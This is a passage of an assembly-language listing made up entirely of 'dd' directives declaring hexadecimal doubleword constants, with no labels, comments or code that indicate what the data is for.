0B40D83E1h dd 68126840h, 0C6413500h, 914537BFh, 3C8D139Ch, 0C0705E04h dd 5F152BA7h, 0F60020C5h, 0E0FCF19Eh, 447384h, 0FECCC606h dd 0FD8F39Dh, 47D61300h, 0CE6BF408h, 976C3D2Ch, 12907A80h dd 2B45AC3Eh, 0DA60B6E4h, 673C2AC0h, 4B9006Fh, 0CBFBD05Dh dd 6D00D28Ah, 0B0EE4DF8h, 355034h, 6683E60Dh, 9FCEE86Eh dd 0E3271D0Eh, 0C481478Fh, 49C07300h, 21F402D1h, 0D8444FE0h dd 0F64E0760h, 79E5BA00h, 233D77C1h, 17DA04F4h, 0E88A0DF9h dd 0E5CC009Eh, 21C6D338h, 0DDE080h, 51A54B62h, 2C7C25FCh dd 49078890h, 0D3D09834h, 0C8080610h, 78A200B2h, 0FECF3D5Ah dd 777DA622h, 701B1700h, 0C8245C2Bh, 5C88ECB7h, 4D17763Ch dd 57720065h, 0DE329160h, 0D7AB9FEh, 6C6A7200h, 215B23D6h dd 6D0007Eh, 0A00E5232h, 0E8751FFDh, 0CE608AFCh, 86E39ED2h dd 0EE2000D1h, 44A336DFh, 691EF004h, 0A47D5DD6h, 7E07B4C6h dd 6FC0E934h, 629239h, 548578D5h, 1229DFB1h, 0EF419C00h dd 0D8F48C9Ah, 0F0D0EDD2h, 576E4CC6h, 3DF24901h, 7A8DC251h dd 0A6D564C0h, 0F75600CEh, 6D10C091h, 68004081h, 24798C7Fh dd 0F2D438D2h, 485D00CCh, 91B05EA2h, 1018B9ADh, 6331ABA9h dd 288A001Ah, 0F0933A0Ah, 5D907CA1h, 65869A00h, 0E999159Dh dd 178800D4h, 60142DE5h, 0DA38258Bh, 0AF680F0h, 0E8F965BEh dd 7DC307FAh, 0F0BA7722h, 7F234AB7h, 0E3AD9600h, 683894AAh dd 52DB0059h, 0EAB9A093h, 0C307FB27h, 769FA80Eh, 63F02900h dd 527800C6h, 1E832048h, 94F04D67h, 0FF9B3Ch, 63E95C70h dd 3A2C58CFh, 0D4803C2Bh, 9B5E7F0Fh, 83FE9C6Ch, 31B6EB03h dd 0E83B0E79h, 38EC4B2h, 7113F0A5h, 8BB07EBEh, 0A03A718h dd 0D9D9F2Dh, 608E9F32h, 0A23FD949h, 0C54F00FFh, 0AB9B6E6Ch dd 5902B2FBh, 0BCE8020Eh, 4B404048h, 0B9A12CC4h, 0CC33007Ch dd 2B77D4A2h, 0F8944207h, 35B0D8EFh, 296593Bh, 607DFECDh dd 0A241A7EAh, 0E22CC44Fh, 7F86BA00h, 0B7ED0697h, 0F2DD3DD7h dd 0C53024B0h, 2E00FA68h, 7FB4B3B2h, 38A43967h, 970044F9h dd 838BD4E7h, 23EE7E91h, 0D5114100h, 885D846h, 635A3C43h dd 0AC588617h, 0A7360E85h, 9C0603CAh, 69C00045h, 726F7994h dd 0A101E533h, 970116E8h, 0C8409DFAh, 0D70741h, 17FBB7A6h dd 68433C0Bh, 28579713h, 6D713000h, 207C204h, 93B1C177h dd 0A043B27Eh, 65CB91D0h, 3334BC49h, 0B81530F1h, 40C92Eh dd 22CBBE06h, 787C0A9Eh, 5F7D4A00h, 0A36AEACEh, 139F13A0h dd 0EB5401F0h, 0C8094529h, 9D3CFF18h, 6A78007Eh, 68AA6419h dd 0CB070024h, 0A1E12FDh, 7600872Ch, 0F4BF35B3h, 257E6D7h dd 0AA559927h, 24E3F34Bh, 865852D0h, 7C5D1304h, 0F0C02FDAh dd 0C3E7D6h, 8C907F4Dh, 0FF46C705h, 0DB005E73h, 747319BEh dd 252001h, 0ABFE0F8Dh, 0E1F7BC8Eh, 7BDBB500h, 0AA5176ECh dd 0B21D00E7h, 930E08D0h, 0E100E42Eh, 4170E8C8h, 0E0F8A2h dd 0D7B4EDF3h, 0EA5136F2h, 0AA9CDC01h, 499F617h, 9F40BAC1h dd 0B845AF7Fh, 1A500060h, 7A605E06h, 1500FDCDh, 96672D20h dd 885B18h, 37037784h, 326BAF0Ch, 636A3100h, 17356687h dd 0D1E2C8h, 675A24B6h, 967A746Eh, 74E4F95Ch, 2D1FDC26h dd 71C1023Fh, 60AFBE52h, 3D588254h, 0E080DE35h, 62D5F05Bh dd 5700AACBh, 8FAE1888h, 1EC5F655h, 0C09960D8h, 3EF29C53h dd 20B9119h, 0A7AE63h, 0C3C87264h, 9731004Eh, 0D2BFCC2Eh dd 5F25183Bh, 0C9180047h, 0E8BC564h, 0B9010C39h, 1ADD32E0h dd 0E298F73Bh, 0E90AE60h, 78EBDFFBh, 0A19D01D8h, 2C822D54h dd 3840CE03h, 35005581h, 0C357B2F9h, 1A1EC0h, 9854AB72h dd 0B056C14h, 0B700097Ch, 444785E7h, 0FA4A4Ch, 0EE69AD02h dd 0D23C9ACFh, 0E582A5Ch, 0A35D7549h, 0E2393AF8h, 0B9096121h dd 5B2EC0h, 0A355EC67h, 69D1B653h, 1C4E5C0Fh, 1DF89CAh dd 0CD57AF30h, 0EE120C73h, 0D25000F2h, 573C8D9h, 0AE7ABE00h dd 31A48EAh, 4CFC00B7h, 8E4959Eh, 7E030676h, 0BF202530h dd 0C3A0CFD7h, 0F68734h, 5741DE5Ah, 3875A422h, 5C2F1803h dd 0E047A74Ah, 18CEC8DDh, 0CEA67406h, 8900C066h, 24672AE4h dd 681B2Eh, 7B9B8122h, 93A05FEEh, 6FC21F01h, 0D1A9FF14h dd 7718A8CBh, 0E12D023Bh, 2EDF4D8Dh, 50E038E1h, 0D638C568h dd 66221300h, 0ED01794Ah, 8F7AFAh, 11E5EE04h, 97B43C27h dd 911BCF12h, 44760400h, 39C72362h, 478106ACh, 0F3082A1Eh dd 7714701Ah, 80EE5B3Ch, 9EA56E15h, 29876B9h, 0B0D3CCFFh dd 486163F4h, 0D0CEFC4Dh, 8FCED00h, 6F060C10h, 5CB95C32h dd 3F259E0Fh, 0FFB58FC3h, 0F32C61E8h, 14A5F001h, 136ABB8h dd 0A802082Ch, 1BF9C7E9h, 6A534C68h, 0C027751Dh, 0C602CBDEh dd 0C4D5A7C4h, 1E687100h, 80F793E5h, 0B2CB10C9h, 0ECB8923Dh dd 0A0DE0200h, 5B43C03Ch, 0E024920Bh, 707600AFh, 8D3F476Eh dd 9400F3E1h, 3844F49Fh, 178A436Dh, 40E23926h, 0FBCDCBE8h dd 5100C248h, 0F82CF622h, 18CAD9h, 0A0AE367Ch, 0E4D2A176h dd 0F02FF00h, 60634CDCh, 0ABC0C004h, 0BD3ABE0Eh, 82C5FD00h dd 984E444Dh, 8161C7Ah, 269F31h, 0B43BD054h, 0D20745A4h dd 55D7F913h, 0B175A8A0h, 0C0D0074h, 20CD2C6Dh, 4A002F61h dd 0C0EA6BFCh, 1FFD01D6h, 16DC1CCh, 2A60C3EDh, 2912C05Eh dd 31B380h, 9251F45Fh, 9EC8B2BFh, 0A87E2CE4h, 7E5D4D00h dd 0AE950DA6h, 80DC00F1h, 6C34018Bh, 0F909A598h, 60D7E35Dh dd 31375FCh, 94097936h, 3A9189C5h, 0C1BC2941h, 760F614Fh dd 91E2ADCh, 66498EE1h, 2BE248C0h, 16FFA3Eh, 8A2F1AC7h dd 85FB2C37h, 0E1A2B481h, 998FC4h, 12FE721Fh, 14B3C542h dd 0A9885900h, 66545F69h, 0EBBD00C2h, 2AF5B817h, 0FC98DE0Fh dd 0EA00E0B0h, 0A6A426D7h, 247967D9h, 92C40B3h, 0B0C0DE54h dd 0E90B41BEh, 80A18439h, 0A4BFF513h, 0C75A0568h, 0EB8B88F3h dd 4F8E5805h, 3359DC80h, 0E5BD25ABh, 0F20BF080h, 0D12697B8h dd 7A05D4ADh, 702053C9h, 2463ACE7h, 3800F02Dh, 0A02CC084h dd 60A4C0C6h, 160085E3h, 294246C9h, 48A43F84h, 0F73F3265h dd 0D5BC2600h, 8861671Dh, 504EE102h, 0C3129DF2h, 0B611001Ah dd 0A0FFADF7h, 460E414Dh dd 2060D597h, 5ECA5243h, 0BC180CA9h, 0AC202839h, 6B33BB03h dd 0A82DB516h, 7D3CDE22h, 637E00E3h, 891581B6h, 0FEFC4213h dd 0DF0B850Ch, 0A06846h, 0B8DE4A77h, 8020ADCAh, 0A36E1200h dd 0C655A47h, 233C197Ah, 0C1F280C2h, 45F8015Bh, 307C3BECh dd 5448DFD0h, 6B58E171h, 5F921F49h, 0A947A80h, 0F08C75h dd 620E96F4h, 7930E86Ch, 3C665700h, 0AD61B363h, 726E45Eh dd 45540D84h, 0A7CB801Eh, 9A00CC65h, 1AE56E10h, 0A91714h dd 0BE36AFB6h, 582FBE4h, 69A38800h, 14A1CAE5h, 2B680B9Ch dd 507071ABh, 0D871100h, 0FFBC27BDh, 9F3D0307h, 3CD98570h dd 0C494FC90h, 76A7CE30h, 4ED2C1h, 0ED0614Bh, 38AEE56Ah dd 0DCCB9E00h, 15BAC4D3h, 46C2005Fh, 3F684BD6h, 2D000D69h dd 0B15245B0h, 986C0F9Bh, 0EB3B0738h, 318F7481h, 0C4FCC753h dd 4B01E424h, 60513AA6h, 0F2DCF748h, 0F9B8F9h, 0BCB87268h dd 4FE31EEBh, 6408B0A0h, 0A143C700h, 370B6B04h, 4A3F00B6h dd 32D65E59h, 0DD0018B0h, 45A5367Ah, 1D575BEEh, 40B64A1Eh dd 8E88F16Ah, 6600C553h, 8A1C7F48h, 20E229h, 6D71550h dd 0F45DB578h, 67234700h, 18AC841Bh, 1D122899h, 266A00E0h dd 8B22F66Eh, 2C004391h, 665B0CE4h, 1414274Fh, 0ACCC94B2h dd 4921B000h, 0DF4B86B5h, 0DBAA0600h, 0FE453E1Fh, 0F4D50763h dd 0E3C16E37h, 0F8B04038h, 0CC4825A2h, 2DA51E28h, 0AB76A0h dd 9314CD39h, 3183EC4Ch, 5ED1BF0Ah, 0AD1DE847h, 1902F800h dd 6324389h, 0FB6BF987h, 0DF00100Fh, 4BD58611h, 19990CBh dd 6524A9B2h, 30CC03E3h, 0E83E9F99h, 8CF10069h, 676C0D3Ah dd 7D563D63h, 40ECBF00h, 1A21D0FEh, 0E906DD00h, 0EE929D0Dh dd 33490F12h, 0E800A7EFh, 0CF020594h, 1ECE5D00h, 0B3AE2921h dd 6F9E1718h, 0B8B6075Fh, 0EF11D26Dh, 80249448h, 0BE66F300h dd 0E31F8820h, 0CE2A00C2h, 55024A76h, 9900148Ch, 9A29DA1Eh dd 0F8B02FA3h, 179B01AEh, 1A0356CDh, 44446026h, 0DEC86B05h dd 0E402C60Ah, 30E2BBF1h, 0F000693h, 0FEF239A2h, 240255EEh dd 2CA0CE44h, 738039D7h, 0E0068D92h, 8C01C2F3h, 0D450FDBBh dd 0F0CC4A32h, 4F9A0061h, 379C5A83h, 3F00B229h, 207DE3EAh dd 744D05Eh, 0EBCCA2BCh, 9D5230DCh, 66001B0Dh, 3B2D22CBh dd 7223175Bh, 5D501C3h, 0AFB12DEh, 260EECD4h, 1073AA00h dd 9D47D360h, 0A6680005h, 5892856Fh, 3800C1A1h, 0ADEC3E0Ch dd 3EB54595h, 0E580F299h, 1B66F66Ch, 0BE0F32AFh, 40608B5Bh dd 368C975h, 91413FB4h, 0C42CA380h, 3CA9370Fh, 0B757A100h dd 3EE6FE55h, 0EC5C00B6h, 0EDBE74C2h, 5300DCD8h, 1C9D2FA0h dd 0CF93DEh, 0FA800281h, 0BC7FCA9Bh, 642D420Fh, 0B84013D6h dd 4DBAC2E1h, 0D04039BDh, 0B03821E0h, 0D600E4C3h, 432B5E15h dd 0ACCB9Ah, 376211EEh, 91A8A07h, 0EF796600h, 0A7EA1298h dd 665725Dh, 0CC20A597h, 9A006047h, 0F16F4C4h, 186E2E4Ch dd 188FC081h, 0F63A4DD6h, 27EE0A5Fh, 9D3A18CEh, 0A03016E6h dd 30674691h, 0A208A896h, 50008133h, 2A716A4Ch, 0F25134h dd 8862CD8h, 871385AFh, 0BA4FB300h, 5FFF1C6Bh, 50090571h dd 80D673C2h, 3D0C1A13h, 67AEAF07h, 3C4A17D1h, 20A3A003h dd 0F83AE0B5h, 0C7873EF6h, 8ECEA187h, 0A0995712h, 9E9C230Eh dd 22205D0Bh, 0A4B408D1h, 3D021B81h, 0B0BCBE91h, 209C0861h dd 363040CDh, 9307F0FAh, 0BE443F40h, 0C0BCF3A2h, 0B8A1AD72h dd 63CB00D2h, 2C5C539Ah, 0F607029Bh, 58D64FEAh, 0E40B803Eh dd 0B8A62Bh, 8B6DF3FBh, 0D2A43054h, 76E31A39h, 215F2702h dd 60FB687Fh, 6D5D0Ch, 0FA9D2E73h, 0FDEA01CCh, 0F3C3F900h dd 0C6BA0E58h, 20170033h, 6C82A0AAh, 110047C7h, 0E1528157h dd 969B7h, 0FA72831h, 0FD1D6E4Dh, 0A554920Fh, 3EC0FE50h dd 0BC3189A0h, 0DE84004Ch, 1D430839h, 0F3BE148h, 157153Bh dd 159A0090h, 7C741F90h, 88E90CACh, 4318490Bh, 2D665E00h dd 4CA26A2Ah, 96461807h, 0AD973998h, 9C295163h, 5E8358h dd 6386B851h, 1DFE35B5h, 4B3B13B8h, 50768044h, 0D1B10DF0h dd 0F7FD60h, 7040C340h, 5A9DDA27h, 868D3D00h, 711DD2BCh dd 1F826h, 8E4F4014h, 0E3EE9C19h, 0B3D0B805h, 8B031D76h dd 0C0D15923h, 911C58h, 0CF196B5Eh, 9C44641Bh, 868EA800h dd 3E237BCBh, 62DA00D0h, 78F50C3Fh, 0BF00761Ch, 0EE7DE919h dd 1A165DCh, 0C528B179h, 70CE6CBAh, 410627D9h, 650DB9F7h dd 46A312E1h, 78D42092h, 6A7016ACh, 0A4214560h, 141ABD6h dd 79A24C8Dh, 2424E8AEh, 0C00B39Ch, 5FE25442h, 6C9D0A5h dd 0C897DDA4h, 96F06807h, 0F6465D00h, 0E79B312Eh, 78C7001Ah dd 6B8D833Ah, 0C3000C7Fh, 0E36325BFh, 7A86FBh, 0E5275F80h dd 0AE6A682Ch, 7FD1CB00h, 0D9C601E6h, 0AA1B0063h, 7BF3B39h dd 0B6003FC2h, 49772910h, 457C3BCh, 4339F9E2h, 0B918800Ch dd 0D900D0F8h, 825C31F0h, 0F2FB1F6Ah, 24BA0043h, 219F1D87h dd 67005D28h, 0A769AF1Ah, 313ADFCh, 0B964BD05h, 0DDD0AAE3h dd 0CE1EDA08h, 9300F056h, 4BF590D5h, 0FE6D1D3Fh, 16C40B3h dd 0E998E323h, 35C54E09h, 0F885807Bh, 3FDDC3D3h, 5805E53Eh dd 809060E7h, 5FC21854h, 0B9FBE200h, 3E204F7Ch, 10950031h dd 21521F81h, 0F901A082h, 0CE13D7Bh, 6E4C1E5h, 39710F49h dd 5C8009A2h, 132D0EA5h, 231BD300h, 32EE81C7h, 0AAC30012h dd 56EC0C63h, 8800145Ch, 541EDDD6h, 613AEF15h, 0A1C0955h dd 0CD1080F9h, 2B7744CCh, 0A35D000Ch, 529EE87h, 48015C7Dh dd 0AB80731Ch, 0F61B851h, 84592990h, 27447EE2h, 522D4481h dd 28423548h, 211B2469h, 0B1114BACh, 7BD411A7h, 54114F12h dd 22848D08h, 0E3507511h, 60441B50h, 0C614A089h, 8D78976h dd 0E561446Fh, 89167F84h, 0F03C410Bh, 10E11253h, 0FF898C36h dd 68445D08h, 0C56E89BDh, 573DE8FDh, 0A11F9177h, 3680F91Fh dd 98323F08h, 1A7E0Ah, 0F183D4EEh, 0EF24F6E0h, 4FD3B500h dd 19A5EAFAh, 818E001Ah, 351F0D7Fh, 1800F99Fh, 0C60CE3B5h dd 0F00F3E50h, 0ECAD00BBh, 54B9A2B1h, 3600E28Dh, 6EFEAAC5h dd 1C391Ah, 25408BB2h, 0ADB071A0h, 7BC82000h, 1A8C0B02h dd 0A1741E32h, 853C408Dh, 82CB2D0Ch, 9FAF9538h, 0EEEE649Bh dd 0FAC5E802h, 0D8204B4Ch, 7BB3BAh, 0E051B80Eh, 2D6E27B2h dd 8311C803h, 0F88CAEE5h, 704D4030h, 509363F9h, 0A7D08253h dd 0DC0480D6h, 41F336C5h, 9F29B800h, 0B92C085Bh, 66006E86h dd 19F6C981h, 489B00BBh, 0FF493E97h, 877B8D65h, 79ED7800h dd 16CED821h, 0D1640291h, 976EAE52h, 0C86C6CC0h, 0A0244300h dd 634626ABh, 51613865h, 49C0F781h, 0FCB20FA2h, 0C7005276h dd 35F0DF0Ah, 870143h, 886DAC8Fh, 3B77C153h, 93D47A07h dd 8980E447h, 1A270DDh, 2D396273h, 0E076686Dh, 0FB84605h dd 71031E00h, 94C19FFFh, 893E005Dh, 54664B56h, 0FE79B52Ch dd 19760C01h, 6940BC20h, 0CD1BC8h, 3932A9CAh, 0C716904Ch dd 59AF660Bh, 0F8F68054h, 0D8D14Dh, 4A0A1A26h, 1E947BA1h dd 0A4D00630h, 196EEDCh, 9190E4B1h, 0C80B1AB3h, 6905F71Eh dd 93C54C79h, 0FF304E87h, 9C79E34h, 2255B0B4h, 0D7030480h dd 0F50301C2h, 185BFDF6h, 0F143A8A3h, 0AB2E069Fh, 6053B4A8h dd 7F209D00h, 0D5CE55FDh, 0BB8F0026h, 0E4236ECFh, 1D3B9831h dd 3D480D1h, 81AF9B86h dd 0C65F3E74h, 0B680B93Fh, 2FB185ADh, 5400D428h, 14A31955h dd 3A794B66h, 0E4A4586Ah, 35ED0350h, 3B0D67Ch, 0FB584C0Eh dd 0AA0B00FFh, 63368E17h, 7CFA0029h, 0F93045E9h, 0C0FBB238h dd 0FC000FC5h, 0D3F4C772h, 7527F5F8h, 7BF60B18h, 8180102Bh dd 0F409FEBDh, 0BE066490h, 0A1BC7627h, 2E460028h, 0CC9A3B60h dd 1300ED20h, 845CA0D8h, 0F42D63h, 0D72E4A86h, 28DC6164h dd 96508F00h, 0BB71AC05h, 87B90068h, 35D2D4E0h, 0CB00A02Dh dd 0BCC9C5DDh, 0EE74D7Ch, 0F45B8F7Ah, 0EF0A6A80h, 4200ED49h dd 38F74AF1h, 66059Bh, 769D7DDBh, 0FFB74B3h, 6F7E3901h dd 970EC798h, 5A8066B8h, 476BE5B7h, 6212E3FEh, 670513F9h dd 17C5E433h, 8541A81Eh, 0EC19BB2Bh, 0EE561C0h, 0C48363DCh dd 6C7C6B20h, 1F753AB6h, 41291200h, 0EF521BC1h, 2A1003B7h dd 0DE6CB3D9h, 8667FA80h, 0B4D74500h, 5A394BB9h, 0A5901451h dd 80C08029h, 0D4D16A89h, 99F9E903h, 984855CCh, 91326Fh dd 0FC335AA9h, 0CBCA2F8Dh, 3E00677Ch, 0CEBE0B2Dh, 0F8DE5112h dd 0F6ACA0C2h, 0D8E08Fh, 32A417C4h, 0FD106B1Bh, 0FA2477B0h dd 380096A7h, 26546857h, 0C0610509h, 66BFAEh, 94CA06F3h dd 4E0772AFh, 9AB61D84h, 0A0FAB8E0h, 0D8FF0075h, 356AD9E7h dd 1000F2BEh, 0BFAD60D0h, 0AB63CDh, 1D65AC16h, 0B1ED2386h dd 6C8ABA00h, 9CC8607Ah, 8E722Eh, 0FAB6F963h, 0F9474BBh dd 0D99B5100h, 8C551A2Fh, 752B00A7h, 73C2B5F4h, 3006C06h dd 12CC9DDEh, 4853BBD6h, 2C003C63h, 68BABC08h, 0E3587826h dd 0B69F1339h, 0E589C18h, 0A43700CCh, 847185F7h, 5102DBF9h dd 5986AA3Fh, 0A314E029h, 9D330044h, 24C1086Dh, 0BC0326B5h dd 0A9525431h, 0F887D0F0h, 1EF442h, 0BFCFED2Ch, 13ABD83Fh dd 0AD6BA801h, 0F21FC701h, 94A7A840h, 12C30077h, 225EB9E3h dd 5D1C7918h, 0BCC073FCh, 90C43965h, 0FF1100C6h, 0B9A09D96h dd 0F9F41949h, 1CE60100h, 92EC34B3h, 235A17B1h, 65F103EBh dd 0B0F803EDh, 1A036DCEh, 0D1151CCFh, 4328014Fh, 5D56C7DFh dd 0A68C40EEh, 38018403h, 0B49C4C04h, 35FC9496h, 5DFB0F6Dh dd 4FE05739h, 62A1C658h, 0D4261E7Bh, 7400A48Ch, 0E22749BAh dd 317FADAh, 8FA7D909h, 21EA425Ch, 55727460h, 3CA4F4EFh dd 0D40098FAh, 0CF9A4AC0h, 0F041E817h, 4045000Eh, 3C5D4891h dd 0F005737h, 0DBFB95C2h, 1F08EFh, 6A947E30h, 2BBFB3B6h dd 0A403071Ch, 806335CEh, 0B7A8CA1Ch, 0F6B901D3h, 6D25D7E3h dd 0C9ADF467h, 1158D0A0h, 534E680Eh, 217A20EEh, 3B1B31h dd 0AEAB2FE7h, 0E2EDAA5Dh, 1E0F87Fh, 0AC3ABB00h, 3011B41Bh dd 6C9700FEh, 68F8AF54h, 8E00D192h, 6EDB2B80h, 413A46h dd 0E2AD0E99h, 577F6C9Ah, 8000247Dh, 23640B5Bh, 74544939h dd 0BFDF00B3h, 0A48CB520h, 5F501B5Dh, 0BC03D8C0h, 0E80C7E86h dd 0DF47D09Bh, 0B0430042h, 0C950F992h, 3800548Fh, 177D69B6h dd 7D32FE1h, 763B46DAh, 0D863A004h, 0D9FC59D0h, 0B091733Bh dd 0C81DF8C7h, 8648123Dh, 2CF400C3h, 2A4CEE6Bh, 0D900137Dh dd 3CDDF369h, 0E5E9E6h, 6AC16241h, 8B0858BEh, 878FEF00h dd 2C869CF0h, 253A00AAh, 2D27954Dh, 5898FBD1h, 0EB008871h dd 37E79EE1h, 4C3AC0h, 2BA697ACh, 476EB9F2h, 0B5624B00h dd 8BB842BDh, 50AC030Fh, 61920C86h, 9EEFE1D0h, 2637D424h dd 0B2525E00h, 77BCCB11h, 0A890A0CFh, 0EB8004Ch, 0EFD9F25Ch dd 0B300EE2Bh, 0E92340D2h, 201AA0h, 0F9E38784h, 0BFC5680Dh dd 0F66B6500h, 0AC553CCAh, 20A70074h, 2449A8F8h, 0BA40C89Dh dd 7CF2B08Dh, 3FF703CDh, 0FA10466Bh, 91F8DCCBh, 0C90EA62Eh dd 871A21B3h, 8AE0ACF0h, 48EF153Bh, 4806481h, 0B833180Fh dd 48C4DB4Ch, 94500001h, 79C95736h, 0C2EC0FC0h, 7FC56A65h dd 990C83A9h, 97CF7A80h, 20D81900h, 3CDEB1FEh, 8F2107A2h dd 67605416h, 0D43630B9h, 7A5852C2h, 326303C4h, 0C866FFF9h dd 1E39376Dh, 31F885h, 5510D67Bh, 2A3B3583h, 60F67471h dd 4E818801h, 0D39ACDA3h, 0C96AF60h, 427903DFh, 0D501BBC8h dd 9E1EEB11h, 0A760258Ah, 0E1A0065h, 6FA99390h, 0CE00B273h dd 6A978D4Ch, 1ECC3F47h, 1C708Bh, 0BC451231h, 110F2B51h dd 1F87A73Bh, 0BD18F900h, 327336Ah, 7882809Fh, 8FC041EEh dd 0F71D8B86h, 0A440631Fh, 0AE6256C8h, 31C90094h, 0DD82EC29h dd 1509B939h, 0E6224Dh, 0B6852FCCh, 6B5E0318h, 7B428BE3h dd 8EA0E8Fh, 0D00A00CCh, 9CF340BAh, 18907000h, 77BD3799h dd 0E83D6139h, 28AF0C3Ah, 0CE511DC4h, 99E75E40h, 0C5B455h dd 49856592h, 1C0BBC0Fh, 0F3C24A00h, 2BFA9F0h, 0E040239h dd 2A52E080h, 8C4AAF40h, 75F7B00h, 84F7BC3Eh, 95410E65h dd 43C331CFh, 0BDC0AEA1h, 8C997798h, 2819900h, 5687D6h dd 66FDD15Ah, 0C98C3F63h, 75CADB07h, 40FE815Eh, 9D533EDDh dd 91123D65h, 3F337203h, 1AF0349Fh, 0D0C0232Dh, 5A22F7E3h dd 9C964CD5h, 56C3F800h, 8EBCD0A3h, 540088F4h, 7C91762Eh dd 0EC1DDEBFh, 46BE006Eh, 8E2FDC2Bh, 0A008543h, 0EB13EB9h dd 1CD96234h, 57E1AF9Ah, 0F02822BEh, 24181C0h, 42AB6A00h dd 0AFE0D365h, 81A50032h, 0D0FD4E46h, 0AD00EA3Eh, 1E70D51Fh dd 36915Bh, 0BE1AC3A8h, 8E2588FCh, 0F5B82D60h, 709817AAh dd 0B0680B2Ch, 54A05D2Ah, 262ED07Ch, 5ECD7903h, 0E009BF4Eh dd 1FAA14E4h, 808C1BB6h, 58C5E62Dh, 0E5002E8Fh, 76A2E074h dd 0D67FFFh, 0DCE10B45h, 0A753625Ah, 6D186F0Eh, 0D8B9AC24h dd 0FED60069h, 9B1EBF20h, 6772588Bh, 40CBC14h, 99E300BCh dd 0EE46DD88h, 0E4973A13h, 20418151h, 83F419A7h, 0D2B0332h dd 0E4FB75A3h, 1B239AB0h, 0F6E95600h, 10D2634Eh, 509927h dd 879FDC28h, 81078E1Dh, 9641BDE5h, 49F322E0h, 0E8949098h dd 961079EEh, 0B7980C4h, 9ECE3314h, 75FA7D06h, 42D032h dd 0F0A29A67h, 0A477FB03h, 0E6B91E00h, 9CF4E7EAh, 573D0774h dd 1965EE9Ah, 7BCB8280h, 15015542h, 0A3BB7949h, 90EB0E03h dd 181EB25h, 0F0E05D85h, 301AF768h, 54B89058h, 586BDB05h dd 7C80FB84h, 9E9A3Fh, 31F56105h, 7F7A2703h, 20491F00h dd 1391C96Dh, 2CFB888h, 0CAEBCF65h, 58402DB4h, 0D510964Bh dd 7B0225BDh, 0AC82996Bh, 0CCE303E1h, 48E2CD67h, 0BE871300h dd 14CC4C20h, 0E47A21h, 9BEE8608h, 4504CF66h, 0FF00F7E2h dd 91C137ECh, 33BD8F8h, 0AF9B6BC7h, 90C449D9h, 0B4823558h dd 7B0036F2h, 0DC454ED4h, 974C5Bh, 4B74CFE7h, 214941A4h dd 100088B0h, 0AFE9AA2Bh, 63FB73h, 0AD4B48C5h, 8B2C3897h dd 0C3296200h, 0B7EC251Dh, 0FDC258E0h, 348F9D38h, 0D0F5E27h dd 7ACC0EAh, 60414EA6h, 141F7088h, 780096FAh, 1D6475C7h dd 0E97A8B5h, 0B938E85h, 3CCC34AAh, 7FC54h, 760F8108h dd 73534A4Dh, 0EF093F04h, 9CD09B9Ch, 3F45721Ch, 7480C7D9h dd 0A71573FBh, 92F49FFFh, 8551DA13h, 3FB33900h, 50F69A26h dd 396296E6h, 5DCEFAh, 2004E4Ch, 8C27761Bh, 8898E518h dd 0BD859804h, 48F06453h, 31CA0E40h, 0A0201C8Eh, 5F3E23A9h dd 8306F300h, 7465AF95h, 4E0F826h, 34C5E8DCh, 0A28F09Ch dd 49B3C100h, 0CC01E6FAh, 16D71A6h, 0AF8E4232h, 20702D3Ah dd 93011A34h, 0C4E57C4Ah, 94F95D45h, 0F2B6DBC8h, 0A38900F5h dd 0C751CC65h, 16328311h dd 833720B1h, 0C0C4FAD0h, 76ED3A45h, 0D50507E7h, 0A0717BB4h dd 776BC6DDh, 930C060h, 0E0B3E9h, 37413248h, 20BDCBD8h dd 2CF3A42Eh, 28A58500h, 7C2B8Ah, 368FA9FBh, 566FCA67h dd 0A2EA4801h, 45833C19h, 895030h, 0BF7E5551h, 0EBAD60A9h dd 7F136114h, 0EAAB00ACh, 0BA32DDF9h, 9B680575h, 0C0042D5Ch dd 0F3AA361h, 0CE25FC00h, 0D94B5837h, 2BA91F96h, 0BC18800Ch dd 0E668B7Fh, 3B014014h, 0F11F00A4h, 0DFC0C757h, 81740134h dd 0D11847C9h, 2003830h, 393CB612h, 0FC71401Eh, 0F4E600F8h dd 0AEBE4D13h, 0F201425Fh, 0F1AC2DC4h, 0C2CC8185h, 6E39094Bh dd 24C575D5h, 0B9E45D00h, 0BDF2F0h, 0E83FDB10h, 0CDC4E079h dd 87605712h, 0C6B2AA00h, 0EAA59Eh, 0E8DA2E7Ch, 93E21CD5h dd 0C9D08212h, 0AAC28400h, 2EA42FCFh, 132B563Fh, 82001E2Ch dd 0E8DF5BABh, 725A4468h, 48A02300h, 1B3B7492h, 24CF003Ch dd 458561E5h, 6D00A3E9h, 0D9C13006h, 13361D5Ah, 901E358Eh dd 200E51F4h, 39317D00h, 3B59C47Ah, 0F89F03A3h, 13C5B5DAh dd 485C7809h, 4674C0DFh, 3C2D78ECh, 500B4CCh, 0E954EE5h dd 0FA0139E6h, 0DC36C351h, 0F0600706h, 90EF1292h, 0A9A000F9h dd 958BBC26h, 79EA1405h, 0A8001C9Ah, 0C8726505h, 337B00F2h dd 0A4C76786h, 9E01B39Dh, 464940B5h, 90704461h, 7D8C00EDh dd 180CC8D7h, 7305A24Bh, 19D30B86h, 395E8900h, 49BC88h dd 4B706BB0h, 282FA4DBh, 86F49F00h, 0C40CB88Fh, 2CC778Dh dd 989C5381h, 0ECE0A343h, 2C10BA25h, 7F003B7Dh, 0CFF675C1h dd 5A0026D2h, 0FE82E3D6h, 80ABB2h, 667EF410h, 0BA90119h dd 5A9AE703h, 9843E048h, 3F695AFh, 6235B849h, 9BF8DF1Eh dd 3180A7B1h, 0C69800D5h, 69662850h, 3E006DA9h, 45B7746Fh dd 3447186h, 0E152CFAEh, 43900CB5h, 60001480h, 45BEBF21h dd 1CE729A8h, 803E31A4h, 0AC3FB989h, 0F5005CB7h, 0EC93BAA5h dd 59E82Bh, 1641BF6Eh, 0F1E6C7CBh, 1737F512h, 84006BACh dd 0F052D46Dh, 0CE312FACh, 9A32F853h, 2481843Dh, 0ECC41B70h dd 0CD1E28E0h, 7144A70Eh, 0CC86AFD3h, 3FFCA0E8h, 0C4BA1217h dd 0B72800A0h, 62C091E9h, 0A2766600h, 27CC2A28h, 0D7FB0018h dd 0B2ACED1Fh, 83004313h, 0C5DC6DF5h, 1157F17h, 0E6782F5Bh dd 0C0394DD8h, 4C2F3BACh, 6D008003h, 2E947663h, 84E2D1h dd 66F13583h, 180F2B9Dh, 0C9230A6Bh, 0D0C48A7Fh, 84B31600h dd 1CFC6CCh, 0F4048817h, 0F5B8B568h, 0A8B0912Bh, 7A6E50C2h dd 8660D462h, 4B0046C2h, 0ABF30640h, 5A8CBDCCh, 64C40728h 